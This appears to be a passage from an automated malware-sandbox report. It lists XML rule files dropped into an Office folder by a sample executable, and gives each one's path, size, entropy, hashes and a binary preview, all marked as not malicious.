Preview:	<?xml4...A..U).M.JOw..2...o~.H.>.%.^...;S0_...d..\|>.Y.S...:...a..Lh...{...>Q$.5X4N..g\.<Ey..{....&v.E30._.=.U..F5...!.'....Q..[..r....&..:.V....q.0z`<......4<z.M`.Wh..O.S.Z.O..]..8..w1cJ.^..q.6..-..L..PvS........)O....9.t.h.%h....{.Z.....d2&...V.& ....!...x.`o.........W.....\.?..q..........]!Z.].rM5H...{<_.#.:....x..{.9.r~...j.._.G..I^6...-3......9.;.;.{..pb.~g..b^t.N"$.....Dq.t../oy`.l.Z#......Tj....+(...O..X...'?6s..^Q...\|.@......G{.......!.,.....4..'i....K...b......<....)A`.......g....U...........B.@.X!=..d."].S2.&n\|u..L.8..X...c.1....F.I.T....\.n].........X+.&..bL..8....Q....<...y]..1 .!Q..Hw..h."...t.....(..t%.eR.z.w..j5Ik#.r.....nU...{.+...e....r...D.......w>..V-....G.J. ..h....N...o..H...;.3.......HW..3..4K.....{o8!..j.......<a.d{..I.e.E(/...f.O.....\o.F..3f.:..{..Y....N...H...f;.'..KQ..89...T,....q....?.F-N.i].1.TY%<...)..%~^..d..d..AC...x.k1g.Q.pB]..5>iZ.....J_..7..Nod.Fv..<..3\..t`7.f.&..?.....qf<..^$..'".3..jd...Q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700750v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1710
Entropy (8bit):	7.887427198365964
Encrypted:	false
SSDEEP:	48:QEHs8VimZlNaYbaQF8JBIloonCkWA6hiIISD:pHs8ViykCXWJu6KCVA6Hh
MD5:	A6FC21148940C11B1CB2F09CC3C238D9
SHA1:	BF853860E8A0B307198366278235676BD51B8323
SHA-256:	711954F143E768B1E150E7EAEEF3E5CEEE4801B64B0B6F045428759F6907B3C6
SHA-512:	4ACE37E25D3114FF8062FCFBB417A36DC6DB1AE12479E687BD88A33611D5DE813F8A8307E1633BF02D9BF2D64172082CE46C3A9233B82690F66FA77E725CBAFE
Malicious:	false
Preview:	<?xml...D.).U..R}I....n.C...].N<.Np.~@?..L.Wo..?...)...P..V?.L^oa.q..mq.w...d.t ;pU...D[i....H!......+"W\.5s....._...M).I.mo..h.R2.. u....!...A......<.....7.d...y7..Q~.I`.Od..)....a.i.c+..Y.V........Za1a.......C.....N<".k...\|e..P.@.m....xQ4.i...^....n......K.X7b.+....g.. .d.........BL...^3....Rrc.v..PS....49...nE;..4...Y.......>..U\|....T?e.U.G.G.Z.9)OZ.[..[?..#.1.=...}9....H.cfe..B-......$.6.h......M...A... 7e..4..,..2..S!.J.aI`.1....d.n.G..&YcA c./@p.....9>.e.F.[V.r....1re<G..a....").Od.......~.o.~.X...?.>..EEW[..;(..I.y.].....?]+...VD......(.8..x>...f%m>;.4..z....."....n.i-U.>~a.C....k...'.].AF}...u..EH..../.(..Gt......lM...2.....Qo...x.#.[..N`.w..@.........H.YG.{.-A..~+...;Z...Fw.o.gx#B..>........p....;#$1]...jI\.........)Gg!uI0v....al..;=...Hb;....`g.OJo.K._%../..9..!..nM._.hA.....n\.?...f%..K".5~}t....b.6...R.3.Xz.u.).....t`.@;..s...,.G5....$.<.e.ax....>..X..M..m..U.Q.....%...$...vA..W.o.OIE.:.lg.V.Lf.........q.y.FV.8:...R,Z"..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700751v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	7.891465960639537
Encrypted:	false
SSDEEP:	48:42KXYt7OQcgIdC8nN+QXb4dgJaOVeHC5D:4Y+cQXig0Osix
MD5:	0D83CD49EB60FC621C3C93A31CCFC84B
SHA1:	3A03B15DC77A24DA6D6457723C91BBF95F75CCEE
SHA-256:	708AA44E289F1BF3C1A81D7EC123F19864F2C149B6EC34B8CD8C91DF5705649B
SHA-512:	42B320E2C678C3AE1A2B53865AFB5203EFDD327FBCF3346A7A5146B02465A848AED17DF0F6F65BE0DCF6E75A65175C19D2B10BA79020240CCF2C7519986A19DE
Malicious:	false
Preview:	<?xmlHjt.{!..^.=.`..Y....j..Zc0c.z5Qv.j2.......R..x(+......$x.,av...9..c..%x..[Z^..r-....k....&.MZ.L..#..0g..ij"g28a..AJ.x..o..?....%.......gi.A....W..]G.a.u.C.A..s.%e../.fD..l...}.w..+..@+....~...z..S ..-..V&z..y.Y.D.......t....z.&w.bER....\|QY..........v..1L............+....5.2'..f.".k.....`..P.%.<%..)poD.x.......4...3'.<...5....@.-.y.\..4...^.I.V.....W ...=.........!.E ..8.Y.O..-....n...Q....q..ay..}m..c5?/.........D../x.i..lk........-......d......k...%2~q`.y>k....j.1.l...o.......3.#.(......=."?x&...1.".. .{.n...Oa...P/..x(.s\GW.q..$m..`..{4.v..p+...b>.B.&......O..z)'J...B[.....@....]..lV[..j..H..J.'..Lw....i......Q..8....&.......Y.A?..,KSQ\.....{{d-..{.....y.z...Kq........&.f..O.p..&....1..O...i.......M.}.......eu(..{.p+.z..\....n........y..D:.U.......Q.,[.{..e.ZOYg"..i5...eEn#q...TZ..,...d:.\|I..+............<x..c...>Ly\|/.qT.Vv..0.S..v.\.f...XX.M..O..\.`..D.6f...q..y.8g...W..%.}..}.$w.rsvt....d.d..Y.c............{.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700850v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.87976082299526
Encrypted:	false
SSDEEP:	24:PNStpiIyPz3HL3xCjczrPzOdi9fSNoxDpwHy6bhcz4yIzufjkWLBPDTa3c+2bD:PNStsFBCjWrPyF8CSwgICfjkIBDTEgD
MD5:	6BA7ED16FE17F008A482EF974B8140E3
SHA1:	76C76779A6026865974D8980E9AB6381E6411A30
SHA-256:	04E8BB421008CBD55AC9730BA8105651C7EB7B388BEE670B5885FAF55BD99AB8
SHA-512:	D412886D04EF2B1170956A1796EFFE536A22C712531F7AB67D12F449160D6B09F6A36D9E26079D115C0619D6BE81279B0AF41489C9269E146410F8829FB57A95
Malicious:	false
Preview:	<?xml.m. .s.....t.....?]r@.3u;..2G....@.."........l...v.^ ...5.U.c.....r...L...G.Q.{...9.w~..!.../[dP.D.:N?.k.}.....Y..!.`O...Q.....p<..E3..):)YL.G.7.=.....2.?E...ZO..P....(g.K...~ ...%T.?.X...u2...y}!.z.......M.P~......U.q.G...s..H.W.....$NJr.4..2.J..{c...3a..C.S..C"r.. wY.:......D...B......n..CH.........MO..e..v.e.h..#S..1......v......Az3A,.n...g6.-.?s.....J........./&6@...p.7..w....V.=.....U....x..F.?:....2n..gC...GUs."2 Ej..>.....eMC.Am...\R6...x.9._.._...D........WW.#...7... w.3.........z2.K[L6._.{`.....:....{_.....s.....ry...M\|MY.)..P...&w~........G.cH.....j...s.n.1....6e..4..\;......o.g.r{:.R...-.#......%..&...Ax.K.`.....>.......;r.C.U.k..z.]..\U0.,J5,...[.P}...Ln...H.f...F.......0...)i...Tu.6....Y...<...S..,.TwKu..u".6.`...$...\|.......C=.ZA.7(...M.]H.S}..J).Z..b.9.......+ZW(.+.QJ=[:..[.........2.....gd.....0$7J..p.Vu..I76...V...?...........1..p.;..^.....~..M..e..Iy..h...t,.zQ.9...o..:.q......,k../3...r.\|.....ab]....^.ZP.S.&...~..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700851v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.893359507327611
Encrypted:	false
SSDEEP:	48:cvfKXmzfBIwkZas5fkUs8a17+1pG6BVFiwUh2YDD:cXKWzfp0nf4tovAJP
MD5:	2BE8B35F9EF8125846989DFAE4262296
SHA1:	99EEA1FBE39E865CBBD984D6B0CA6FBD8954856D
SHA-256:	A567F9FCA8CFFBC23E2484D651D20D08AFE52DE6B5D3DB7C07AD731EBC5CB0A0
SHA-512:	E7BA774DEAF6AB0BD46A87E2CF741508F99D81F7E5AE4012352CA31F1DDFC2A05A526EBCAC95907BCFC32896B1305579C21E878A811114312B022F76FD383708
Malicious:	false
Preview:	<?xml.k....h....6V.1 ..m4KiB....'(o...f..e.^.T.$.@.4[.P../_c.:..Z../'.O1..?.f.-r.X...........;wJU"H.+....H.;...\|....C...C.....5.x.~.%e3...W...z..(K.V.Xf.<...o......./.@.U.0..\|....4...../ae\P.........)r3J&V....$.p...>.&n...!..M.~.(...W....=.$....4...rg .].R.w.6..0.. .c......{.{.jL?G.Z..\..X.SD........;xL#+h!...#....p1.C.\.....".e.yfa.........7d.=.:...R.....G.R..."Gd....C....b;...Z....{.~Q..j.E.^.(.. .......).B....f)(..._..f.]c..BiR...(.=..W..,....r..(o.Mm\|.{Q..._D...y....3D..E...0.2.....2-sG...T.l.O+IrJ.......T"tN.....nHx....ud...y.../..LG..^7.a..a...&.......@....Q=p.a.>.RPL.....R_..\|..3l...4;..$.Q.J.N...9..e......\|....d1.D.^..?<....op.$ROi...1..o.6.R....g.].X....ir~Y..5E.N.%\8..F.G.FE.5f.U....../...........^..Y[..7........6O>....~+F..6@Co..."..H..L.y.{.,.....[uS...I!.......O..............?.z..>r......."2......:.,h5...t..z....(.....M.=.sy.....(.G..4.~U.T.'.....`.a. . .-S?....E..sp....M.."$....k...=\..@~v....cF..x...tf..VL.4.j5..p....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700900v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.888464983202573
Encrypted:	false
SSDEEP:	48:GklNJWK+kadShxHjJJi29pYVzC76FjfHhSGD:t4KfcSHjf9UOuFjpSe
MD5:	85D62C7AA469EED7A3D289729DB40289
SHA1:	B533E37EC5F270088B48549D9FA87D9C7EDC629A
SHA-256:	43D7913C7F483C474852DB9D318C7229C76F2449CB7ADF5446D9A60858C276A0
SHA-512:	D8CAFE96CF52477AD26885DC336072B40C8C44056F76602DF7368C0251ECB0B2DEABE5B9C3937BF59932A921EBEF319BD38F121ACAC17ADBEF4963E7544FDB2F
Malicious:	false
Preview:	<?xml.d..WV....Jq.d...M3.....&.I\.u..o.O(.zF...7....%.8....e..A...H.C..O.`3;.l...s"t9B.....r?.S...9.ox. K..f.....l-..:..f..Z.......zM...P#E5Y)w:9...[....&.y..l.a...~X........5.Cf.xK....7.....i.1...uA......<Hq..d..G...i..k..^ ...W..I..@O,3.,.5...o.......\>(=...W.F..F...,....S..f.#...#c..5........&..^M..... J._.9.`z]...q.?...=..Y....f<P/.6.... ..:.....?...j.KD4PC.. x`/E.c-.%+%Q..........!/..`.88....S..z............A.b_..,......o.../9......Id...5..{...1F..G.M......Ad.:n...Cf2.%A.....(..9.;..i........s.Y..A&._1."o....J2N..U...H(q........./......s.?.K,..@.h....5......1v...w.....\|.-.....L.}..Xiv.X..O..m. ?W.\.c...d..[..V..._\aE..fu.-..s..w..t.....^..w..gB....!.u..^...6p.......$X...W".(...c..SOf..<..?v.%.C..7...N>..;S.k.1.t...l....v..s%d".......i..l.._YOr....sm....:..t..2...a.;..e.q?...r..m..o.....]z.8t...~. .._.....O....Q\....'..?VS>..7.U.CF.f..s.....S........j........eJ..n*..K./......x.~...<.<X1>._.u..WN?..^_.~..s....\|.......%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700901v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.882453653727421
Encrypted:	false
SSDEEP:	48:ZazK4T7z7sXQcKalEq95jfD1roEn5c1loiEGTWnYC6HiUOD:vu7zIgFGbLP2E5cHobnYC6Cx
MD5:	31ACA6A50E19781E41A1C59ACF70C270
SHA1:	5A4AA70F33F93FE232D8CA81543AC8012B74BD94
SHA-256:	8A956335ED00F0EC8D311A0BB073BA9850BA193E6F586A0A3084C68F960C3A99
SHA-512:	9FAC85C09B1BBEB163917113CC0F0A5963867CC239CB473D2D47100F8F7CC2905405141C7EE73CA4D14811B34835BA49B4582837DAEEB27AE73F1C6F3A324BDA
Malicious:	false
Preview:	<?xml.U~...).HXw.UD.E.._J....?...z<...w.1..Y\|.T....5K.{..>..6.Te...>.>...-..s.....".[....U9.....e.F....9..(.E>..J..1..y........TEu\33.UU.7.ZrF...%f..T...X]..F'.k, ..a...Gj."-...`..S42..Ot..2.._A...N.Z`Z..U...~.....Xf..=..y...w....;.>3.......M...a..w.\e..}.......H.v.PJ.P.B2.?..u...{....L...#U)...p..._<}..'.5B6.B./Zx..+..d...v...Y.P.?..%......y.D...E.........U.p..6p90i..2...sX.........0...K.i$...CLz:......s...3....y.v..B.x+..s.!..f.By.c..Q.g..B..:..n..8.d~.c.....W...P..o..v..I..g....:....2..`.....Vc./....\JC.\|r..%.$G..b.r.5>...wR...X...\..Vq.....%J..g&.v).Q]!]kM..8k/...[j.(.o...{K......cM...n.-..g..im.wQH.\..T.......P~Rs.L....F....$f@.0.......e7J.~o.HkV.)........l.l....R.5a.m...a......-.B.i...8.L..;.k...s\|o.K.\'.....s....".]=A6z...,$L.z.o..^Lm.`9.9.P...."..~.GZ+.E....4H..Z......kw.]k2..q."5.Z...\AG..../.._'..l...Z%4..\|6:&..!.G.k..S..-dk0s...cUm.J<.$.l}-n.`.b.<0.r..q.%..\|.._% ..}.`.}...P...e....#...g....-..&.-.Igx..~J.prh....?H........=.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700950v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.870399327425423
Encrypted:	false
SSDEEP:	24:yeuUdQaf6wlzj2VNlHnMlz/DHP6TmISJLyzxmSAKIymo7Oj2gKYtMG6HkZeWDTzt:yPuXJj2VN1MBrIwy9mkB7gifwTzt7D
MD5:	3A6FD363B6A10DAECA883886F43205F8
SHA1:	84C68383FFD250EA478D0EB51276D6F20EB5F435
SHA-256:	E779FDE819C78E87F95CB42AA0407B1E06C30D5F56A4B047C3D2B35DA1F5730B
SHA-512:	B328F36502841B04E49A091610895B26E187D5C55B9B036F98F911487D1EA401F65D723F100BDB393BA91D5245D933F8ACF3B3DF7AB89837F007E3F15D677277
Malicious:	false
Preview:	<?xmlD.......?..(...~.,.[..n.fX.9..]z.H.~\.6.c,.. lO....B^..dWb#[g...O,.6..8..T1E.Z.W...g..L.../n$.K%{w..f....R.+.=,.{..2aN.fM.8gQ...$.2K.V.a.$....\|<..q.(..a89.{;.rZ."i....q.9........~...W...6<......u.Q_.=... .m....y......Bj...q.6......i..e..G...{...t[..e..{.r..O9.\|m.8....*9MV.R.6..V....(..YU.@O...s......!./....^..~.;.". ..c.p...c.A..P42i..9m..r.K.u<v&..\|._#....#......Ax&QXE...8..q......I.=.k... xq.-s..\D....=y...e..!....]`Kv.].c..(%`Y.mv.~.f.w././.......=p........Z.[.U.g...xc.>Z.mO$......1<.y..\tP................Q......c.K.y.......@f..c&...:...~...d.-v...1.j.;....D..'AoQ.l....,.h...I....c.J0;..>............/-8..n..9....a..a.........r.z..8..b.g........~....5.........Q).....W.R...8.."....P..........>.D.-...Bz..?.>C"..+eag.MY....~Xp..../..IpGa...<.r..O..R..Q7+>..B.n....K.q........../x..378.i_..Ek....K~!"..yM=.ev?.....by.....P[....?N...?..T..P.f!....`.9.....f...........<...\G.^R..T.,..e;...L .+.R,2.j....2(N.QQ.7N.......1<TB.r.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700951v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.878237393883379
Encrypted:	false
SSDEEP:	48:TovJoWZ69E+zuQWeRcOkkYyeqNrSZhz3I7tZDuD:8vh69E+JWbOVJY7CDW
MD5:	30707A0E43AD96CE7EA386C9325C35D8
SHA1:	FECC28AD30ECBEDDE9C9E0C035FF8DD3F5C5C794
SHA-256:	8AF805A4DD1C306E7F78F0359A385D807F323CF7E2BB2DD277BBD9254B6C0721
SHA-512:	D05C132BDA2056EBC6E27AD987B118FEB700679FC47DA9C9847A19790771E6F7823BB5C0D54DE2A423C85BBD3259BD4E842C42BA76D07D6EA75E0D2A0038AB72
Malicious:	false
Preview:	<?xml.Y5..B..n+95)e...6$.T.?..8.......\:..2.7..=..0..+tV.~.H.D.No........6........u....O..h...z.,m...vs.m....:$...:R..G.v=\|.[~....X.)SF\|......&I...wz..G.St..^....M1T.\.w...+.._...-Q%.kM....K..)...fC...Q..F...YE..H.......,I........m.]..e....".E4E...Q&..........\|X.S."..."...B....o.T.. "Z<.-i.......y..h_=.~.1a._J...y....M..i0.......I.D.@.m.4..z...EX.3G.\....$.t...LC.7e.(O.%p.....wY..?H\.I..q...X=.(.c. .=..5Y...vK.......f .X..)..&..z.dW.U...3.....e....sY2z.....e..p.2...$..QG..o.y{..@.....,..P...Ro..I\|..I..L.M..I...S.:n....1.... .B.gN..h0.....y."5iQNJ'+W...[...6.D.....T'...U..L.^.......\|7V...].F.`P...=...J.';........e...W....w/ J..z.^..V...............QIe$._......p.......qy.)..W........"...0i....."./7...-'A.8.U..D...............G.a]......7..l..y....yQ..v.VT.....4..>..g....../..uF[......u.....-u...N....k..yG8.Q...>.....{..lCj#.Z....w.K ..I\|4...#$...%".t.S..Wu..v.e..[k.#x.....f.OZ..-.\.\iB.0.7... ......Z7G...035.x..."..._f...\.8zr...^../..J..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701050v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.8812900452416255
Encrypted:	false
SSDEEP:	24:asMxXvks470a5zwnbHkGw9a0W1H+jeGU2kNJ3CBYzCoMZsZ9DgqTuGIdmjo+6jkx:alfk5f5MnLwM1eqGWJSB06Zm/adbKD
MD5:	3C1B4DC400376EDB7BF7C79AF86AB9CE
SHA1:	A7944014FE1334DD754AE2DAE76353228CC318C7
SHA-256:	BC52FD19319CC71289266E68B930D3C4FF1BD7BF43A4F39AF0D84B6301D92171
SHA-512:	59ECC21145F5451D39E2A38B876C6EBD13287BF519B9AB07ADF493048A3B8D952315E39F1FF74B96CB9455ECA596651D170B492F87E57D8B777EF91BAB168E90
Malicious:	false
Preview:	<?xml....f... \....B..U5....e.r....$..Ka..=.c....f8.....1...F..l..\,..l.....8..j..g.0.d.G..$....;..F...j..A...V......P.Ss<N.5.>......[8......B.lw.k?4..~6...:n.d.?.E..5x..<.$.%.p....a..#.o..l4H.....@Hpep=..f..$m.....T...Tq....=..su.q......@.........k.....V.p...\|.....l.f....+$...y.f.'{{8.Xf.g\...e....X.%.^...p......Cr\|.\\|......~D .=.........QZz....[+.x.=Tz.!..-.f.g.%1_8..`.'..r..C....%z.;5..'+.3../4...=.Q...........}..\|q.0$.......t......t3.4a.cn7Hd.nO..''.).....e..R..R[..T..............JH...[.Fj...E..>SW'...5.Q.o.c.c..#>...n....t_V..=7.Q\6.k..I.~..8...m.........a.y1... .....,...B...,.+..a... ..:..B.Q.... ...M7~.L.tv....8.K.pKc{^b...YA.@.p.....\....R..t./L.);I.9.G...n..N.6A...^.=.I..K.,.R..1...%..J..a..v\.........$..=.`.YO.>.{..e...[..i.K.;...,.-D....Y...W.]Y....3....%mhw..I.X ..h.rm..u.....W.-U....q...Xa...4..Vt......C.Jh[.v.'.....gIo....N6.+p.sO4\|.....#PE.C..P9......b.g........._.J......-b..Y;...2.Y.......JE+.WAm.......$M9..-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701051v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.890742134332199
Encrypted:	false
SSDEEP:	48:KGj5dMm6QpNaPh0c88RgADyaSrqOaNDI7r2HyD:Hj5Kmm50WRPErqOaNDxHa
MD5:	3D4A82BE04968E32FA0757753ECA4DAF
SHA1:	E98DA9D82E61181D22D921F4060C4D52A38ACD89
SHA-256:	6297FEAB01CAD4FA1AC224245CAC07F294FCC71DBC723869F3383733DEFF2E6F
SHA-512:	F63227DA585BDCC8A702C31B31E00697025118CD9D88FB5E977E0478894A51597A5919C0558350961DC6870D9F7BF444290A9613B356090D9930818E48B292C5
Malicious:	false
Preview:	<?xml.^ ..X...'.E.......BN..8.~...?..)....;......NKS9O.w......a!a.B....-....Y.P..Qg..C.knq..l}.V...3=../j.g....xh......::..85>..7l.`....t<.x.`qv..90.......$.Z.B..1..q.b.b..z..9`...R...%.\>.;..H..d.....~[....09.mC..7......9.Y..^.-..bPB.Ci.#.b.%.x..n...Jd...[.,Y...f.#..O.<.w\|...}..Z.....p..?.g..}I...._...A..[#3Ua.7..v7.S.a...@.]..4.T..y..e5.".G7..w...9<.i...S..\|..5...@....l{..4.w..a...p.j..!z.8....I....%.n...o{..ni......7O....`.Zr.......q.;...m}..E!]j..P...........-..X9..D?..0^nH..O.......e..........v../.......hr>...zR......f}.(X0....K......:.<..f..>b....9...<.U...\|3IV./...._..../...3..'....H....J..FE#...+.i.'.i[...Q.,T.R.H..u..&.....t..v...n..........t..Wl;c..Y`Lo...s%.j. .t...C'..J.ew.....;.J.M...`o..nR..8...9. 65&).5..%E....]P9....0...Y@..q#.3.bF..)E<....}5.wN.Q..E....q....gp.J.Y....8.z.....{{..w....."U.}...H.. .....x.>..X'..F.M.mt..z.ph4.`5_.#@r...'U..)..........u.t{.i;rfWh%..m^&}].U..@3+...4.J...6....2-..;........B...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701100v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.906460861579816
Encrypted:	false
SSDEEP:	48:3Oz4B5tSrklnT95pDqEEN9DC2+ZjGL07c8yLAT1RD:h4IBv29OTZjGLX+1Z
MD5:	4D7A058065EEB2A94B1F64E2DC61CFCD
SHA1:	CFE899257B6B8798CB7AE2FB87785639D8848466
SHA-256:	E91C5DA3AE63A41E20C3BA40F87073AFD3CD818AD5B1E391F4421B7365422AE5
SHA-512:	FDF654695EF47CC2B27C5BBBD8DE670067CF0F4BC0126698D60A8BAF7B2D06D11C2DC06297B2C5CD96E4B9D220D6667CF832990C3EFE1BAB91733AB718BA2E5F
Malicious:	false
Preview:	<?xml.Zj...Mc.'.v.&. .%........O....H..=.....yS.ea.E...D.]R'.}e...]..t..).xSh.. !.....^........>2.....qWE..R..e..,.......=i...h].`.._.....6{.<#.=g.....k$..X......F...J.pC3..p&..........r.o.....&.U.E.. .%....,....r...c.p...x..2<0)..A..99.}.OK.%.xi.P...:.mISE.....g.......V.].\.J!A..T.....C...f..).\..T......kH-.Q.nZ.yDO(....c..m.:.b.6.~[..hNo..U....F...84..-......(HD...#_..u....\..T!.cn^..+o.....Jv0^....'.....Yj..b........eo0=@x....K..b .1^K..b.{Q/....).V..."zU....\....y\|.....k%...M........2.:.t..!.....(l...fX.....`..<1...:.P......v..\A..F.x..P.!!&k.Y.:......?f....hH.Q}c.[...t.`...E!..r.E>..X.4{.&.$....S+....;#.E.nF4.d..q"+.S...cB,...9h{3(.W.v.8LCx.....+...........s.4&3n@.i..W)$..$..p...m...j.v...?g1.!.c.\T...w3.9:K.]..&#...W..;JO?.qX.`.9...\.<\.\...R7.W....>..iH.......F.,.S..v....j...D.?...FY?...r..cB..I.zEW...lB..F.Bz&.../_.Q...R`.A.*.y$........b...~......yEoZ......G..0...\g.vg..j;.Y...S..[....D.f~S..Y.p~.......2....v...i.k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701101v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.893198421432964
Encrypted:	false
SSDEEP:	48:MhrQIzobc943UAdk3eUnHQ/OGXrMPGlu+gN/Gw197TsJJrD:SMSEXkAUeUw/lr+GluD19Pap
MD5:	10B0AD49B0DE5E29C80F4487D07D9DFF
SHA1:	F17792311F500D0878A9A4E59BAF2D75A9DAA650
SHA-256:	0E8B575093657799A6F3BE97310262AA7D431A94093B8FDF9FA702FC91FA5414
SHA-512:	EFC9648C2B69E03C927B2C900B73B020F3961203B7902DDF0FE879DD55F8F0A1C9B684CB4EBA61272EC9A32A506EB75B81C30504C2B2D961790B6D604562BCE1
Malicious:	false
Preview:	<?xml......;.....^Y.w.....T=.k...&s.!...O.}7.=..i.v.@.%f3..Z....m$..+.kH.{..0.....I.95.W+.)M..:x.E#..>..(>0...iaj.Q.B..B&....D1S..$?~.o.0.aw..l.%.W....,..{J. P..q.D....fn......w.4.?..I&B...v.....K...5.Bz...R....L...O.=.(~..>.....+.!$..Sm...@.....jZ.D...~W...{?....k}eq&...v....).V.......E..].....yIL.).f.:..k).&....J..\|.....tK.#(1e5..<..f..T.7"....m.......C.../h..y..XxY.h........(...P[...C....`...,.!_..-.!..5.K.3....#(..lS.b.q...($...5:q.2....:..6.J.Pp5....i$.$.QQ.<.i....h.N(..\|.s..#...C./...;)....aE'...B..h[..k.o..-......+.........=.......J.......k.....dU...+<F5.}\........ :.....;.....1...;.....s..Rr.UaY"...&>....d......./......%.......VM...../.........1.a[..Kd..#....9.......6.M.}..J.....?..F...Q..q.\U.&<.pVo...U..".4.0.^.z...)(..T....YQ.e*.:H~....V[...Vs.D.W.w......rj.O...l...TA9..k.....[.gU..?z....)..F..;s.:.3...y.....z...S...B.....&..d.Na..... ..B..T.B....E.{e..u.by.._.f....}..M.....c....W.Ei..pv...D..;i'.A...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701150v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.884436392695979
Encrypted:	false
SSDEEP:	24:8aTnN53rnyNme2lceXLoHAlcgxDiZflqf/WHqKLXo4qY+0zvx21ljpwK2bD:885/e8boHHGDIxHqHYRz52zjaD
MD5:	2D91B4D38473197EE3484FEFFAA753E9
SHA1:	4B29C5245166052AFB213F42572CEF94569E9810
SHA-256:	010CEE6349C642963A0B30B0795E9FF6EDC74D1D7BB7290F551AF91D81495ECA
SHA-512:	9EF86F1E3DC5AEC5C0BE279C8A0622848EE84E3070DAAF6CD5F0FA4D48E4BD7E8BC9D842E1049B5E2F7A9E5E5775FCF49EA2B0661F09B18921A946DFF9BBF4D4
Malicious:	false
Preview:	<?xml.<.....*=qT-..r.........m..;.........rx.4._(..._.:J.R...g6..._.#egvG}j.d].!.&.b...<n..._.7.Ok...gJ)....:.v.$2.....8)h...6...k...{4.)......`e..\\|.jW@C....dae.q..C.q..C...V.u...x....f.NS.."...U...i.U>..k.... .D...a..K.O3.i.,.hOf/2..]....6..-....G...g..M(.{.`...w..~t...p.....=f)..u.....<S..<.o....&..@.PX.......Q.`y.o..FT.}.R.n.[..X.q..@".(y..._..%...S.m.F....".I..Qjw.%....q$ye'2.t\G3....._.[./.9.?L\.K..u....MI?%u...Q..O.........Rb.%^.......!..;.-....Dc.@.&.EY./.d.h&.n.#....g..p..4ew......C......Hs0..0..?^."nb.....&r\..a...SNK..<..r`.b..pC.E3e...)....@&A..`..x....M.v..~.P2x......\|..LG..`..... .{.._..EU......"..b/....}......cf...WiP~D.....]..N......iB/...#V>...G...N.US...r..p:=.+...Y....#n...v...uCDqf.%/.@6.f./.Wp.N..5X.n.}.\...=.n...'..=l...,...gS.N..)fq......U!G2..Hq.z....C$..~d....I.K.F.1...`w.r..s.TC.1...D2N.}U.t.O.{.X.~...^...1.Q..yml..:..y.b$.(!..-.N._\.Pb....vjt..~.ww..4..=.yH.=.d...w.'.N..f.S.Myl...p.H]...dykQ6.2J... .5.\|..1_.)n..$[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701151v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.884981435943021
Encrypted:	false
SSDEEP:	48:TMFw/OfiImOVjnItbxVhgdsf3Nt9QjGwCbcbLpUrKf6D:AFLiKuDgdsP398C6pUQS
MD5:	B0733885B264DBB71150B5CBB4955D9C
SHA1:	D39EE9ED11CD0B12E627746EF6E3646FBDDB8F4D
SHA-256:	957E91ADF1BAC566BFA210DFEAB4646FE5B3194433DF2DF17860C4D35467D012
SHA-512:	B9B6643132B92573E385619FFDDB1786957456AA5F0FC875C4FCF71362E4A6C8D523B482E72E69A8ACE9BD26A19DB0E9EC4762E575A935AB58C32E2F4CA3DCF8
Malicious:	false
